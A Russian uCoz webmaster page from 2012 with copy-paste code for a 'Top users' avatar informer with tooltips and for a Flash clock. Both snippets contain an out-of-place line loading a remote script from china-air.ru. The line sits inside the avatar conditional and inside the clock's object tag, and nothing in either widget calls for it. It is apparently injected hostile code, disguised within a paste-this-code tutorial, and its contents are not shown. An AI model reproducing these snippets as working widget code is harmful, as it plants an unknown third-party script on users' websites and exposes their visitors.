Четверг, 28.03.2024, 23:39Приветствую Вас Гость
Регистрация | Вход
RSS
Happy New Year!
Меню сайта
Форма входа
Календарь новостей
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Поиск
Оплаченная реклама
Статистика
Наш опрос
Какой раздел чаще обновлять?
Всего ответов: 103
Главная » 2012 » Декабрь » 30
Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ]
В шаблон информера вставляем:

Код
<div class="utop-user" align="center">  
  <a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>">  
<?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
  <img src="$AVATAR_URL$"><?else?>  
  <img src="http://bambun.ru/images/noa23va.png">  
  <?endif?>  
</a>  
  <a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a>  
  <div class="utop-number">$NUMBER$</div>  
  </div>


В CSS вставляем в самый низ

Код


/*Новые участники*/  
.utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;}  
.utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000;  
border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}  
.utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px;  
-moz-border-radius: 3px;  
-webkit-border-radius: 3px;  
border-top-left-radius: 3px;  
border-top-right-radius: 3px;  
border-bottom-right-radius: 3px;  
border-bottom-left-radius: 3px;}  
.utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px;  
-moz-border-radius: 3px;  
-webkit-border-radius: 3px;  
border-top-left-radius: 3px;  
border-top-right-radius: 3px;  
border-bottom-right-radius: 3px;  
border-bottom-left-radius: 3px; text-align:center; display:inline-block;}  
.utop-user a.ut-ava:hover {border-color:#000;}  
#easyTooltip{  
  padding:10px;  
  border:1px solid #000000;  
  background:#000;  
  border-radius: 4px;  
  -webkit-border-radius: 4px;  
  -moz-border-radius: 4px;  
  color: #666666;  
  filter:alpha(opacity=90);  
  -moz-opacity: 0.9;  
  -khtml-opacity: 0.9;  
  opacity: 0.9;  
  z-index:1000;  
  }  
/*===================================*/


В нижнюю часть сайта

Код
<script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script>  
  <script>  
  $(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()});  
  </script>

Установите эти красивые Flash часы простой вставкой кода. Скопируйте код и поместите его в нужное место на своем сайте. Более подходяще эти часы смотрятся на сайтах в системе uCoz. Часы для uCoz – это простые часы, которые часто устанавливаются на сайтах такой тематики, как игры, аниме, в частности игры Counter-Strike 1.6 и Counter-Strike Sourse. Хотелось бы максимально точно дать определение тем, но это сделать невозможно, т.к. часы универсальные.

Надеюсь, что эти часы для uCoz придут по вкусу Вам и подойдут под дизайн вашего сайта. Советуется устанавливать данные аналоговые часы для uCoz именно для сайта с белым фоном, ну, или хотя бы на сайте со светлым дизайном.

Циферблата нету, поэтому такие стрелочные часы будут скорее элементом дизайна, нежели средством, которое показывает время. Сейчас часы представляются, как элементы оформления.

Код
<object type="application/x-shockwave-flash" data="http://bambun.ru/css_js/562_Clock.swf"
width="200" height="200">
<param name="movie" value="http://bambun.ru/css_js/562_Clock.swf">
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<param name="wmode" value="transparent">
</object>